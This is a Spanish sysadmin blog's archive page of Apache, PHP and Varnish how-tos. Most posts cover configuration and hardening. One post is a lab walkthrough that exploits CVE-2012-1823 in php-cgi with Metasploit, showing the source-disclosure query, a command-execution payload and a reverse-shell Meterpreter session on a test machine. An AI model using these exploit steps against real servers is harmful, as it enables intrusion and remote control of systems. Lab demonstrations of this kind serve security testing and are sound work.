Mostrando entradas con la etiqueta apache. Mostrar todas las entradas
Mostrando entradas con la etiqueta apache. Mostrar todas las entradas

PHP-FPM en socket y no TCP

Con la cada vez más rápida implantación y adaptación de php-fpm como servidor de compilación para ficheros tipo PHP, se abre un amplio abanico de posibilidades a la hora de trabajar y escalar sistemas web. En típico sistema Nginx + PHP, todo en la misma máquina ya queda obsoleto y ahora podemos pasar a un sistema con cada uno de los componentes separados en distintas máquinas y por lo tanto escalables. Esto quedará para otra entrada...
Hoy vamos a ver cómo crear una configuración de php-fpm por un socket unix tradicional y no desde una conexión TCP, como suele aparecer en casi todos los lugares. Las ventajas de emplear el socket y no TCP es que trabajando a nivel de localhost no es necesario y nos evitamos la carga innecesaria de la creación de las nuevas conexiones cada vez que se compila un código PHP. Mejoramos en rendimiento y también en seguridad, pues no hay ningún servicio ni ningún puerto abierto, aunque sea a localhost.
Para hacer este cambio y por lo tanto aprovechar esta mejora de rendimiento, podemos hacer lo siguiente,
  1. Editar /etc/php5/fpm/php-fpm.conf y aplicar el siguiente cambio,
    - listen = 127.0.0.1:9000
    + listen = /var/run/php5-fpm.sock
    
  2. Editar el fichero del virtualhost /etc/nginx/conf.d/domain.conf y aplicar el siguiente cambio,
    -fastcgi_pass   127.0.0.1:9000;
    +fastcgi_pass   unix:/var/run/php5-fpm.sock;
    
  3. Reiniciar servicios
    shell> service php-fpm restart
    shell> service nginx restart
Leer más

Linux benchmark III


Dentro de la serie de entradas que hablan sobre cómo comprobar el rendimiento de servidores GNU/Linux hoy vamos a ver cómo realizar pruebas de rendimiento sobre un servidor Apache que contenga una página web. Para ello, vamos a emplear ab (Apache Benchmark tool), que se instala automáticamente al instalara apache2-utils en nuestro sistema.
ab permite simular una solicitud de conexión a una web, pero también simular la conexión de cientos de clientes, así como la concurrencia de varios thread's simultáneamente. De esta forma podemos comprobar, más o menos, el rendimiento que tendría nuestra web con una carga de trabajo real.

Instalación

Como ya se mencionó, únicamente hay que instalar el paquete apache2-utils,
shell> apt-get install apache2-utils

Uso

ab únicamente requiere que le pasemos como argumento la URL que deseamos examinar, pero como era de esperar, también permite el paso de parámetros, lo cual facilitará enormemente el chequeo del sistema. En nuestros caso vamos a indicarle dos parámetros, el primer de ellos, opción -n, indica el número de conexiones que se van a realizar. El segundo, opción -c, indica la concurrencia de las conexiones, es decir, el número de conexiones simultáenas a la web.
shell> ab -n 1000 -c 25 http://www.your_URL.com/
Tras la ejecución del comando, nos presentará unos resultados,
Server Software:        Apache/2.2.16
Server Hostname:        www.your_URL.com
Server Port:            80

Document Path:          /
Document Length:        46701 bytes

Concurrency Level:      25
Time taken for tests:   16.897 seconds
Complete requests:      1000
Failed requests:        0
Write errors:           0
Total transferred:      47177000 bytes
HTML transferred:       46701000 bytes
Requests per second:    59.18 [#/sec] (mean)
Time per request:       422.433 [ms] (mean)
Time per request:       16.897 [ms] (mean, across all concurrent requests)
Transfer rate:          2726.54 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        1    3   3.1      2      24
Processing:   117  418  66.1    414     829
Waiting:       93  358  63.3    350     724
Total:        135  421  65.4    416     831

Percentage of the requests served within a certain time (ms)
  50%    416
  66%    428
  75%    436
  80%    440
  90%    459
  95%    490
  98%    664
  99%    725
 100%    831 (longest request)

Con los resultados delante, ya sólo queda interpretarlos. Lo primero de todo, dejar claro que el benchmark únicamente se ejecuta sobre la URL especificada, en mi caso sobre /indix.html y no sobre toda la web. Esto hay que tenerlo en cuenta, pues no es lo mismo un html estático que un html que lo genera un php con mucha información y acceso a base de datos. También tener en cuenta que todos los complementos adiciones que no sean html, léase javascript, css, imágenes, etc. no entran en la carga, ni por lo tanto en la comprobación de rendimiento. Aun así, Apache Benchmark es una muy buena herramienta para la realización de test a servidores web.

Interpretación

Es importante tener claro lo comentado anteriormente sobre el funcionamiento de ab. Si está claro, ya podemos interpretar los resultados. Aunque prácticamente toda la información mostrada es importante, cabe destacar por ejemplo el tiempo que tarda en ejecutarse el test, así como la cantidad de datos transmitidos. Esto nos dará una orientación sobre la cantidad de datos que descargará cada usuario que visite la URL de prueba. También es muy importante, especialmente para saber cómo afectará al posicionamiento, la relación entre el tiempo de conexión (Connection Time) y el tiempo  que tarda en generarse el documento de salida.
Es importante para tener más claro el comportamiento de nuestra web que esta prueba se ejecute varias veces con parámetros diferente, tanto en número de usuarios concurrentes, como el número de conexiones. Esto es lógico, pues no es lo mismo tener un único usuario navegando que tener 200 simultáneos.

Espero que esta aproximación a ab os deje con ganas de más información. Si la queréis no dudéis de dejar un comentario ni tampoco de leer el manual de la aplicación, que sin duda ayudará mucho.

La entrada Linux benchmark III la puedes leer en Puppet Linux.
Leer más

Apache, severity log

Apache es el más extendido servidor web que existe actualmente. Tiene tanto versiones para Windows como para GNU/Linux, pero incomprensiblemente no es capaz de enviar a syslog la información de log's que genera. Aunque existen formas de realizar esto, por ejemplo, empleando logger, de forma nativa Apache2 no es capaz de hacerlo. Esto hace que fuera necesario generar un propio sistema de log's en Apache. Al igual que en syslog, existe varios niveles de información que se pueden adaptar a cada uno de los sites o de los virtualhosts. A continuación os dejo los que existen y el tipo de filtrado de información que ofrecen.

  • emerg
    Sólo envía notificaciones de emergencia en caso de que el sistema no sea funcional.
  • alert
    Alerta de acciones que deben ser corregidas inmediatamente para poder seguir trabajando.
  • crit
    Informa de condiciones críticas en el sistema.
  • error
    Notifica de condiciones de error.
  • warn
    Alerta de las condiciones de advertencia (warning).
  • notice
    Es el modo debug normal con ciertas informaciones relevantes.
  • info
    Indica información relevante para el sistema.
    Suele ser el nivel por defecto de los virtualhosts.
  • debug
    Modo debug completo. Escribe todo lo que hace el sistema. Es especial para desarrollo o para depuración del servidor Apache.
...
LogLevel crit
...
<directory "/admin/webapp/">
    LogLevel info
</directory>
...
Existen numerosos trucos que hacen posible el envío de log's de los sites de Apache a syslog y el más extendido es el que emplea logger para hacerlo, cambiando las líneas,
ErrorLog  apache/site-error.log
CustomLog apache/site-access.log combined
por,
ErrorLog  "|/usr/bin/logger -t apache -p local1.notice"
CustomLog "|/usr/bin/logger -t apache -p local1.notice" combined

Si esta entrada te pareció interesante, quizás también te interese ver Apache: Prefork vs. Worker.

La entrada Apache, severity log la puede leer en Puppet Linux.
Leer más

Varnish, configuración avanzada

El otro día comentamos cómo instalar Varnish en nuestro equipo y configurarlo para que cachee contenidos a nivel local, pero también hablamos de que podía hacer de proxy inverso para nuestros sistemas. Es decir, podemos tener un número n de servidores con Apache (por ejemplo) sirviendo una página web y que todo el contenido estático lo sirva Varnish, dejando la parte dinámica en round-robin entre los servidores de backend. Toda la configuración es la misma que la presentada en el post de instalación. Lo único que cambiará será el contenido del fichero /etc/varnish/default.vcl, que contendrá los equipos a los que conectarse.
director www_master round-robin {
   { .backend = { .host = "192.168.0.33"; .port = "http"; } }
   { .backend = { .host = "192.168.0.34"; .port = "http"; } }
}
 
sub vcl_recv {
   set req.backend = www_master;
   remove req.http.X-Forwarded-For;
   set req.http.X-Forwarded-For = client.ip;
}
E incluso una configuración más compleja, con varios virtualhost y varios servidores de backend
director web_master round-robin {
   { .backend = { .host = "192.168.0.33"; .port = "http"; } }
   { .backend = { .host = "192.168.0.34"; .port = "http"; } }
}
 
director mail_master round-robin {
   { .backend = { .host = "192.168.0.37"; .port = "8080"; } }
   { .backend = { .host = "192.168.0.65"; .port = "80"; } }
}
 
director photos_master round-robin {
   { .backend = { .host = "192.168.0.100"; .port = "http"; } }
}
 
sub vcl_recv {
   if (req.http.host ~ "^(mail.|webmail.)?domain.(com)$") {
      set req.backend = mail_master;
   }
 
   if (req.http.host ~ "^(fotos.|photos.)doamin.(com)$") {
      set req.backend = photos_master;
   }
 
   if (req.http.host ~ "^(www.)?doamin.(com)$") {
      set req.backend = web_master;
   }

   remove req.http.X-Forwarded-For;
   set req.http.X-Forwarded-For = client.ip;
}
Leer más

Varnish, cacheando contenido

Varnish es un pequeño servidor que actúa como proxy-caché de nuestro servidor web y que permite reducir notablemente las consultas a disco y por lo tanto acelerar las respuestas de la web. Varnish es por lo tanto un proxy inverso para un servidor web (Apache, Cherokee, etc) que permite a la vez que servir contenidos también mantenerlos en caché, acelerando así las respuestas. Aunque las páginas sean dinámicas y necesiten ser consultas a una base de datos, Varnish lo hace por nosotros, almacenando la página como estática en la memoria para que devolverla al cliente sea inmediato.
Varnish es software libre y está disponible en los repositorios de las principales distribuciones. Como lenguaje de configuración usa VLC (Varnish Configuration Language), un lenguaje propio que permite darle la flexibilidad y personalización que cada entorno necesita.
En este post vamos a configurar Varnish de forma sencilla para que nos cachee los contenidos de un servidor web (Apache) local que tenemos.
  1. Instalación
    Al emplear Debian como sistema operativo tenemos el paquete compilado en los repositorios oficiales.
    shell> apt-get install varnish
    
  2. Configuración de apache
    Como servidor de backend vamos a tener nuestro servidor Apache montado y escuchando en la IP pública o IP de DMZ correspondiente. Puesto que dejaremos que sea Varnish el encargado de servidor la web, es decir, escuchar en el puerto 80 de la IP "pública", configuraremos Apache para que escuche en el interfaz de localhost. Para ello editamos el fichero /etc/apache2/ports.conf dejándolo como sigue.
    NameVirtualHost 127.0.0.1:8080
    Listen 127.0.0.1:80
    
    <IfModule mod_ssl.c>
        Listen 443
    </IfModule>
    
    <IfModule mod_gnutls.c>
        Listen 443
    </IfModule>
    
    Fijaros que en esta configuración sólo cambiamos el puerto 80 de escucha a localhost. Si hay algo sirviéndose en https (puerto 443) será entregado por Apache directamente.
  3. Configuración de varnish
    Ahora que ya tenemos el backend en localhost:80 tenemos que configurar Varnish para que escuche en el puerto 80 de la IP "pública" y que envíe dichas peticiones al backend.
    Lo primero de todo, configurar el comportamiento por defecto del nuevo servicio. En este caso editamos el fichero /etc/default/varnish.
    START=yes
    
    DAEMON_OPTS="-a 192.168.0.33:80 \
        -T 192.168.0.33:6082 \
        -u varnish \
        -g varnish \       
        -f /etc/varnish/default.vcl \
        -S /etc/varnish/secret \
        -s file,/var/lib/varnish/varnish_storage.bin,1G"
    
    Una vez que ya tenemos esto, simplemente queda por crear el contenido del fichero /etc/varnish/default.vcl, que tendrá el comportamiento del servicio propiamente dicho.
    director www_master round-robin {
       { .backend = { .host = "127.0.0.1"; .port = "80"; } }
    }
     
    sub vcl_recv {
       set req.backend = www_master;
       remove req.http.X-Forwarded-For;
       set req.http.X-Forwarded-For = client.ip;
    }
    
    Este fichero es muy simple, puesto que no hay nada especial en él, simplemente indicamos que el proveedor de datos (Apache) está en localhost:80.
  4. Arrancando servicios
    Ahora que ya está todo guardado, simplemente lanzamos los servicios para que nuestro servidor quede nuevamente funcionando, pero con un proxy caché intermedio.
    shell> /etc/init.d/apache2 restart
    shell> /etc/init.d/varnish start
    
Leer más

Apache, Prefork vs. Worker

Apache es el servidor web por excelencia. Es uno de los más conocidos y sin dudarlo el más usado a nivel de software libre. Este servidor tiene dos formas completamente diferentes de trabajar y de gestionar las conexiones y los hilos. Una es Prefork y otra es Worker. Por defecto, la instalación de Apache, especialmente si lo empleas con módulos php usa la primera, por que la considera más eficiente, pero depende de para qué y de la cantidad de visitas que vayas a tener, emplear uno u otra puede mejorar mucho el rendimiento de tu sistema.
A continuación vamos a mostrar las diferencias entre una y otra, para que así quede más claro y la decisión de usar una u otra sea más fácil de tomar.
MPM PreforkMPM Worker
Activado por defecto en Apache.
No está habilitado por defecto y para activarlo es necesario alterar la configuración de Apache.
El manejo de las peticiones es muy similar a cómo lo hacía la versión 1.3.

Mucho más fácil de usar con instalaciones de php, lo que lo hace más estable y seguro.
El manejo de páginas en php se le hace más complicado.
Maneja cada petición que se realiza de forma completamente independiente. Un proceso de Apache para cada cliente.
Al finalizar con un cliente el thread atiende a otro (MaxRequestsPerChild).
Presenta un modo de funcionamiento multiproceso-multihilo.
Un proceso puede desplegar varios hilos lo que facilita la respuesta a un gran número de clientes.
Tiene un número máximo de clientes a atender simultáneamente (max_clients).
No tiene un límite pre-establecido de clientes.
Necesita más recursos de CPU y memoria.
Necesita muchos menos recursos de CPU y de memoria, lo que ofrece una mejor escalabilidad.

Algunos módulos, especialmente de php, pueden no funcionar correctamente. Si se habilita hay que comprobar el correcto funcionamiento de éstos.
Es ideal para emplear con páginas dinámicas y pocas conexiones concurrentes.
Se usa para una elevada concurrencia de usuarios sobre páginas más o menos estáticas.
El empleo de uno u otro no es simplemente un cambio en la configuración, sino que el servidor Apache debe venir con uno u otro compilado (o emplear un módulo diferente para cada uno). Si te interesa saber qué MPM emplear tu Apache,
shell> apachectl -V
Server version:               Apache/2.2.16 (Debian)
Server built:                 Sep 13 2012 02:54:14
Server's Module Magic Number: 20051115:24
Server loaded:                APR 1.4.2, APR-Util 1.3.9
Compiled using:               APR 1.4.2, APR-Util 1.3.9
Architecture:                 64-bit
Server MPM:                   Prefork
  threaded:                   no
    forked:                   yes (variable process count)
...
shell> apache2 -l
Compiled in modules:
  core.c
  mod_log_config.c
  mod_logio.c
  prefork.c
  http_core.c
  mod_so.c
La configuración por defecto de Apache para ambos módulos es la siguiente (en debian).
<ifmodule mpm_prefork_module>
    StartServers          5
    MinSpareServers       5
    MaxSpareServers      10
    MaxClients          150
    MaxRequestsPerChild   0
</ifmodule>

<ifmodule mpm_worker_module>
    StartServers          2
    MinSpareThreads      25
    MaxSpareThreads      75
    ThreadLimit          64
    ThreadsPerChild      25
    MaxClients          150
    MaxRequestsPerChild   0
</ifmodule>
donde,
  • StartServers
    Número de procesos que arrancan al iniciar el servicio.
  • MinSpareServers
    Número de procesos iniciales en iddle que esperan una petición.
  • MaxSpareServers
    Número máximo de procesos en iddle esperando una petición.
  • MaxRequestsPerChild
    Número máximo de respuestas por hijo.
    Cuando un hijo excede este valor es automáticamente destruido y si es necesario un nuevo proceso ocupa su lugar. Esto favorece el reciclaje de memoria, ya que al destruir el hijo también de limpian los archivos dinámicos que se han generado. Por lo tanto, favorece el uso y mantenimiento de la RAM.
Algo también importante a la hora de optimizar nuestro servidor Apache son las conexiones persistentes y el comportamiento de las mismas. Esto se configura en las siguientes variables,
  • KeepAlive
    Activa o desactiva las conexiones persistentes. Si las permitimos una misma conexión TCP puede realizar múltiples peticiones sin cerrar dicha conexión.
  • MaxKeepAliveRequests
    Representa el número máximo de peticiones permitidas en una misma conexión.
  • KeepAliveTimeOut
    Representa el tiempo máximo (en segundos) que una conexión permanecerá a la espera de nuevas peticiones. Si no se cerrará.

La entrada Apache, Prefork vs. Worker la puedes leer en Puppet Linux.
Leer más

Limitar/prohibir el uso de ini_set

El otro día me pasó un caso cuando menos curioso. En uno de los equipos que administro en el trabajo que hace de servidor web se instaló una nueva página que fue desarrollada externamente. Llegó al equipo, se instaló y comenzó a trabajar. Hasta ahí el proceso todo correcto, pero al día siguiente comenzaron a llegar mensajes a los log's de que la web estaba a sobrescribir el valor del máximo de memoria permitido por php, logrando así más memoria de la que debiera. Para hacer esto simplemente hay que hacer uso desde php de init_set(). Así y de forma sencilla cualquier página web escrita en php puede volver a darles valor a las variables definidas en el php.ini. Esto desde luego no me gustó nada, pero tampoco sabía cómo lograr evitar que eso sucediera. Así que me puse a investigar un poco cómo poder lograrlo y por fin encontré la solución: php_admin_value y php_admin_flag.
Estas dos directivas de php se pueden incluir en el virtualhost que nos convenga limitar y establecer todas aquellas variables que queramos impedir que se sobrescriban. De esta forma tan sencilla limitamos el empleo discriminado de init_set y de los .htaccess en los virtualhost e impedimos que se vulnere la seguridad del sistema de forma directa.
<VirtualHost *:80>
   ...
   php_admin_value memory_limit 128M
   ...
</VirtualHost>
De esta forma tan sencilla se impide que el valor memory_limit se puede sobrescribir desde el código php escrito en la web.
La diferencia entre php_admin_value y php_admin_flag es únicamente que el primero es para variables con valor y la segunda para variables booleanas.

Se que en mi caso no tenía importancia alguna, ya que era código confiable, pero no está demás saber cómo impedir que se haga y ésta es una forma sencilla.
Leer más

Ocultando la extensión de nuestra programación web

Fijo que alguna vez os ha pasado que accedéis a una página web y no veis a qué archivo estáis accediendo, pero no la extensión del mismo. Por ejemplo http://dominio.com/index.php y http://dominio.com/index. Es decir, exactamente lo mismo pero sin saber que está escrita en php. Pues bien, conseguirlo en apache es muy sencillo y sólo se necesitan dos cosas. La primera tener cargado el módulo mod_rewrite y la segunda crear un fichero .htaccess en la raíz de la web a la que aplicarlo (o bien en la configuración general de apache) con el siguiente contenido.


RewriteEngine on

# Rescribe /dir/file.php -> /dir/file
RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L]

# Return 404 if file.php
RewriteCond %{THE_REQUEST} "^[^ ]* .*?\.php[? ].*$"
RewriteRule .* - [L,R=404]
Leer más

PHP Fatal error: Allowed memory size of

Aunque no suele ser habitual tener este tipo de problemas, hay veces que php por el, o bien el tipo de consultas a base de datos que realiza, o la cantidad de datos que está a manejar, necesita más memoria ram de la que tiene asignada. Es entonces cuando da la siguiente salida,

PHP Fatal error: Allowed memory size of 268435456 bytes exhausted (tried to allocate 128 bytes) in /var/www/include/db.php on line 607
Pero, ¿qué quiere decir exactamente? Pues ni más ni menos que la página a la que llamas necesita más memoria de la que la configuración le asigna para manejar los datos. La solución es fácil, como veremos a continuación, pero antes de asignarle más memoria, hay que pensar si tiene lógica. La página realmente está manejando tantos datos como para requerir más memoria. Esto hay que tenerlo en cuenta si estamos hablando de cosas en los que ya hay 256Mb o 512Mb asignados. En caso de que consideremos que efectivamente necesita más memoria, podemos optar por dos soluciones para dársela.
  • Fichero de configuración general (php.ini)
    Esta es la opción más común y no es otra que aumentar el límite de memoria para el proceso php en el fichero php.ini. Con esta opción cualquier otro fichero php que requiera más memoria también la podrá consumir, por lo que hay que tener cuidado con la cantidad de memoria que se le asigne.
    ...
    memory_limit = 512M
    ...
    
  • Fichero php concreto
    Esta es la otra opción y consiste en indicarle a php que para el fichero sobre el que se definan estos valores, deberá sobreescribir los valores por defecto del php.ini. Es una buena opción si únicamente nos pasa esto con un fichero concreto que por el motivo que sea necesita más memoria.
    La línea a incluir es:
    ini_set("memory_limit","512M");
    ...
    
Leer más

Cómo limitar ancho de banda en apache2

apache2 es uno de los mejores y más populares servidores web que hay actualmente y es software libre, por lo tanto la creación de nuevos módulos para tener un mayor número de funcionalidades.
Si tenemos un servidor de vídeos (estilo youtube) o un ancho de banda limitado en casa, podemos indicarle a apache, gracias al módulo mod-bw que no supere un cierto ancho de banda, limitando así la velocidad de las conexiones. Esto es especialmente útil si se conecta mucha gente y nos podemos quedar sin ancho de banda para navegar nosotros, por ejemplo.
Aunque efectivamente hay muchas otras opciones para hacer lo mismo, ésta no es de las más descabelladas, así que vamos a ver cómo poder hacerlo.
Primeramente vamos a instalar el módulo que está, como no, incluido en los repositorios debian,
shell> apt-get install libapache2-mod-bw
Una vez instalalo el módulo tenemos que cargarlo,
shell> a2enmod bw
Tras ello, ya lo podemos emplear en el site que más nos interese, para ello, únicamente hay que incluir unas pocas directivas nuevas.
<VirtualHost *:80>
        ServerName www.videos.local.com
        ServerAlias videos.local.com
        DocumentRoot /var/www/stream

        # Turn bandwidth limitation on
        BandwidthModule On

        # force limitation on every request
        ForceBandWidthModule On

        # limit to 1000kB/s
        Bandwidth all 1000000

        # Setup custom error message
        ErrorDocument 510 maxconexceeded.html
        BandWidthError 510

        # Limit avi and mpg extensions to 50kb/s.
        LargeFileLimit .avi 1 50000
        LargeFileLimit .mpg 1 50000
</VirtualHost>
Para finalizar y te tengan efecto los cambios realizados, reiniciamos apache y listo.
shell> /etc/init.d/apache2 restart
Leer más

Ocultar versión de apache en RedHat/CentOs

En muchas ocasiones, especialmente en servidor de producción, una de las formas de proteger los equipos es la ocultación. Si un atacante no sabe qué versión del software estamos empleando, no podrá atacar directamente los posibles fallos que la versión tenga. Aunque no es para nada efectivo, sí puede resultar de ayuda para entorpecer los ataques, ya que tendrá que probar varios exploits y así tenemos más posibilidades de que nuestro IDS detecte y nos alerte del ataque.
Por defecto, un equipo con el servidor apache arrancado, al pedir información del servidor nos indica lo siguiente, por ejemplo.

shell> curl -I http://192.168.1.69
HTTP/1.1 403 Forbidden
Date: Thu, 07 Jun 2012 10:24:35 GMT
Server: Apache/2.2.15 (CentOS)
Accept-Ranges: bytes
Content-Length: 5039
Connection: close
Content-Type: text/html; charset=UTF-8
Y lo que nos interesa es justamente ocultar la información referente a la versión de apache. Para ello, hay que editar el fichero de configuración httpd.conf (generalmente en /etc/httpd/conf/httpd.conf) y establecer las variables ServerSignature y ServerTokens a Off y Prod, respectivamente.
# Optionally add a line containing the server version and virtual host
# name to server-generated pages (internal error documents, FTP directory
# listings, mod_status and mod_info output etc., but not CGI generated
# documents or custom error documents).
# Set to "EMail" to also include a mailto: link to the ServerAdmin.
# Set to one of:  On | Off | EMail
ServerSignature Off

# Don't give away too much information about all the subcomponents
# we are running.  Comment out this line if you don't mind remote sites
# finding out what major optional modules you are running
ServerTokens Prod
Tras ello, reiniciamos el servicio.
shell> /etc/init.d/httpd restart
Y ahora al consultar la información del servicio observamos la diferencia,
shell> curl -I http://192.168.1.69
HTTP/1.1 403 Forbidden
Date: Thu, 07 Jun 2012 10:25:35 GMT
Server: Apache
Accept-Ranges: bytes
Content-Length: 5039
Connection: close
Content-Type: text/html; charset=UTF-8
Directamente relacionado con apache y su versión está también php. Para ver cómo ocultar la versión de php, pinche aquí.
Leer más

Invalid command 'RewriteEngine'

Este es otro de los fallos que pueden aparecer comúnmente en apache tras una instalación si uno de los virtualhost's nuevos tiene una configuración que implique una redirección.
shell> /etc/init.d/apache2 start
Syntax error on line 22 of /etc/apache2/sites-enabled/000-default:
Invalid command 'RewriteEngine', perhaps misspelled or defined by a module not included in the server configuration
Action 'configtest' failed.
The Apache error log may have more information.
 failed!
Para solucionarlo, únicamente hay que habilitar el módulo de apache que se encarga de realizar las redirecciones. Tal y como sigue,
shell> a2enmod rewrite
Enabling module rewrite.
Y ya está.
shell> /etc/init.d/apache2 start
Restarting web server: apache2 ... waiting .
Leer más

Invalid command 'SSLEngine'

Hay veces que tras realizar una instalación nueva de un servidor apache, nos puede dar el siguiente error a la hora de levantar el servicio.
shell> /etc/init.d/apache2 start
Syntax error on line 18 of /etc/apache2/sites-enabled/defaul-ssl:
Invalid command 'SSLEngine', perhaps misspelled or defined by a module not included in the server configuration
Action 'configtest' failed.
The Apache error log may have more information.
 failed!
Esto es por que el virtualhost está configurado para cargar los módulos de SSL. Esto es necesario siempre que queramos emplear https en lugar de http, es decir, cifrar la conexión. Para darle soporte de SSL a apache, es necesario por lo tanto instalar la librería que ofrece dicho soporte y habilitarlo.
shell> apt-get install libapache2-mod-gnutls
shell> a2enmod ssl
Tras esto, arrancamos apache normalmente y el fallo ya no aparece.
shell> /etc/init.d/apache2 start
Restarting web server: apache2 ... waiting .
shell
Leer más

Metasploit CVE-2012-1823, php-cgi

El viernes pasado se montó un rebumbio muy grande por todo internet cuando un fallo en php, concretamente en el módulo CGI permitía ver el código fuente de una página y permitir ejecución de código remoto. En este blog, como en muchos otros se notificó de ello. Hoy, ya con un fin de semana de por medio para poder probar el módulo que la gente de metasploit sacó para explotar dicha vulnerabilidad, os persento los resultados. Realmente son bastante sorprendentes y quedan muy visto lo sencillo que es.
Primero creamos un entorno de pruebas con un apache + php_cgi vulnerable. En debian, empleando los parches de seguridad ya está parcheado, así que montamos una máquina sin parches de seguridad. Como la prueba es muy simple, únicamente necesitamos un pequeño código php. Qué mejor que un phpinfo ;-)
Tras tener la máquina montada, accedemos a un php de prueba, http://192.168.1.45/info.php.
Nos muestra la típica página de información. Ahora comprobamos qué sucede al acceder a http://192.168.1.45/info.php?-s. El resultado, el código fuente del php.
<?php
phpinfo();
?>
Es hora de intentar explotar la vulnerabilidad en condiciones. Así que, comencemos.
shell> msfconsole
Primero buscamos un exploit que permita aprovechar dicha vulnerabilidad. Por defecto mi sistema se actualiza en cada arranque, así que ya lo tengo. En caso de que no lo tengáis, simplemente actualizar vuestros exploit's disponibles.
msf> search php_cgi
Matching Modules
================
Name                                       Disclosure Date   Rank       
----                                       ---------------   ----       
exploit/multi/http/php_cgi_arg_injection   2012-05-03        excellent
Pues vamos allá. Cargamos el exploit y le indicamos los datos de la víctima.
msf> use exploit/multi/http/php_cgi_arg_injection
msf exploit(php_cgi_arg_injection)> set RHOST 192.168.1.45
msf exploit(php_cgi_arg_injection)> set TARGETURI /info.php
Ahora tenemos que buscar un payload que cargar tras la explotación. Puesto que sólo es una prueba, vamos a realizar algo muy simple. Primero... vamos a ver qué payloads nos interesa.
msf exploit(php_cgi_arg_injection)> show payloads

Compatible Payloads
===================

Name                         Rank   Description
----                         ----   -----------
php/exec                     normal PHP Execute Command 
php/meterpreter/reverse_tcp  normal PHP Meterpreter, PHP Reverse TCP stager
Los dos que destacamos son los que vamos a emplear. El primer, muy simple, permite ejecutar un comando desde php y el segundo, pues el propio nombre lo indica ;-)
Cargamos por lo tanto el payload y lo configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/exec
msf exploit(php_cgi_arg_injection)> set CMD echo 'hack\>/var/www/hack.html
Lanzamos el exploit y comprobamos qué sucede al acceder al http://192.168.1.45/hack.html. Efectivamente, el contenido del archivo es el esperado. Imaginémonos ahora que ejecutamos un cat /etc/passwd, por ejemplo.
msf exploit(php_cgi_arg_injection)> exploit 
Probemos ahora a emplear el otro payload, que nos puede dar más juego, ya que abrirá una conexión meterpreter con la máquina remota. Lo cargamos y configuramos.
msf exploit(php_cgi_arg_injection)> set PAYLOAD php/meterpreter/reverse_tcp
msf exploit(php_cgi_arg_injection)> set LHOST 192.168.1.33
Ahora lo lazamos contra la misma web vulnerable y esto es lo que obtenemos.
msf exploit(php_cgi_arg_injection)> exploit

[*] Started reverse handler on 192.168.1.33:4444
[*] Sending stage (38791 bytes) to 192.168.1.33
[*] Meterpreter session 2 opened (192.168.1.33:4444 -> 192.168.1.45:4732)..

meterpreter> getuid
Server username: www-data (33)
El meterpreter de php es limitado, pero sí permite hacer alguna que otra cosa interesante, como subida de ficheros o cambios de puertos y por defecto, tenemos los permisos del usuario www-data/apache o aquel usuario que ejecute el php-cgi.
Leer más

php, ocultar versión


Cuando se consulta un determinado servidor web que ejecuta php, éste envía la versión del servidor así como la versión de php que está ejecutando. Dicha información puede dar a un posible atacante mucha información sobre si el equipo es o no es vulnerable. Aunque la seguridad por ocultación no es buena, sí puede ofrecer un poco de protección, o cuando menos evita dejar "los datos al aire".
Por defecto, ésta es la información que se puede obtener de un servidor al realizarle una consulta.

shell> curl -I http://www.site.com
HTTP/1.1 200 OK
Date: Wed, 14 Mar 2012 15:24:19 GMT
Server: Apache/2.2.16
X-Powered-By: PHP/5.3.3-7+squeeze7
Set-Cookie: SESS62cf6d13abf72b42af7...
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Wed, 14 Mar 2012 19:24:19 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Para evitar que enseñe la versión de php que está a ejecutar (5.3.3-7) sólo hay que cambiar la variable expose_php de on, valor que tiene por defecto a off y recargar apache.
shell> vi /etc/php5/apache2/php.ini
...
expose_php = Off
...
shell> /etc/init.d/apache2 restart
Después de éste pequeño cambio, como se puede observar ya no hay información sobre la versión de php del servidor.
shell> curl -I http://www.site.com
HTTP/1.1 200 OK
Date: Wed, 14 Mar 2012 15:26:41 GMT
Server: Apache/2.2.16
Set-Cookie: SESS62cf6d13abf72b42af7...
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Wed, 14 Mar 2012 19:26:41 GMT
Cache-Control: store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Leer más

Obtener información de Apache

Apache2 es uno de los servidores más comúnmente usado en la mayoría de páginas web y como buen programa tiene ciertos métodos que permiten chequear su correcta configuración y obtener información de compilación y de funcionamiento del mismo. A continuación los que creo que son más interesantes.





  • Chequear sintaxis
    shell> apache2 -t
    Syntax OK
    
  • Versión de compilación
    shell> apache2 -v
    Server version: Apache/2.2.16 (Debian)
    Server built:   Sep 25 2011 22:18:56
    
  • Versión más avanzada
    shell> apache2 -V
    Server version: Apache/2.2.16 (Debian)
    Server built:   Sep 25 2011 22:18:56
    Server's Module Magic Number: 20051115:24
    Server loaded:  APR 1.4.2, APR-Util 1.3.9
    Compiled using: APR 1.4.2, APR-Util 1.3.9
    Architecture:   32-bit
    Server MPM:     Prefork
      threaded:     no
        forked:     yes (variable process count)
    Server compiled with....
     -D APACHE_MPM_DIR="server/mpm/prefork"
     -D APR_HAS_SENDFILE
     -D APR_HAS_MMAP
     ...
    
  • Listado de módulos compilados
    shell> apache2 -l
    Compiled in modules:
      core.c
      mod_log_config.c
      ...
    
  • Listado de módulos cargados
    shell> apache2 -M
    Loaded Modules:
     core_module (static)
     log_config_module (static)
     logio_module (static)
     ...
    Syntax OK
    
  • Listado de virtualhost's
    shell> apache2 -S
    VirtualHost configuration:
    192.168.1.8:443 is a NameVirtualHost
     default server host1.es     (sites-enabled/host1:1)
     port 443 namevhost host1    (sites-enabled/host:1)
    192.168.1.9:443 is a NameVirtualHost
     default server crm.com      (sites-enabled/crm:1)
     port 443 namevhost crm.com  (sites-enabled/crm:1)
    192.168.1.7:443 is a NameVirtualHost
     default server extra.es     (sites-enabled/extra:3)
     port 443 namevhost extra.es (sites-enabled/extra:3)
    wildcard NameVirtualHosts and _default_ servers:
    *:80              is a NameVirtualHost
     default server server.es    (sites-enabled/000-default:1)
     port 80 namevhost server.es (sites-enabled/000-default:1)
     port 80 namevhost aw7.es    (sites-enabled/aw7:1)
     port 80 namevhost qaz.es    (sites-enabled/qaz:47)
    Syntax OK
Leer más

Fallo de seguridad en apache

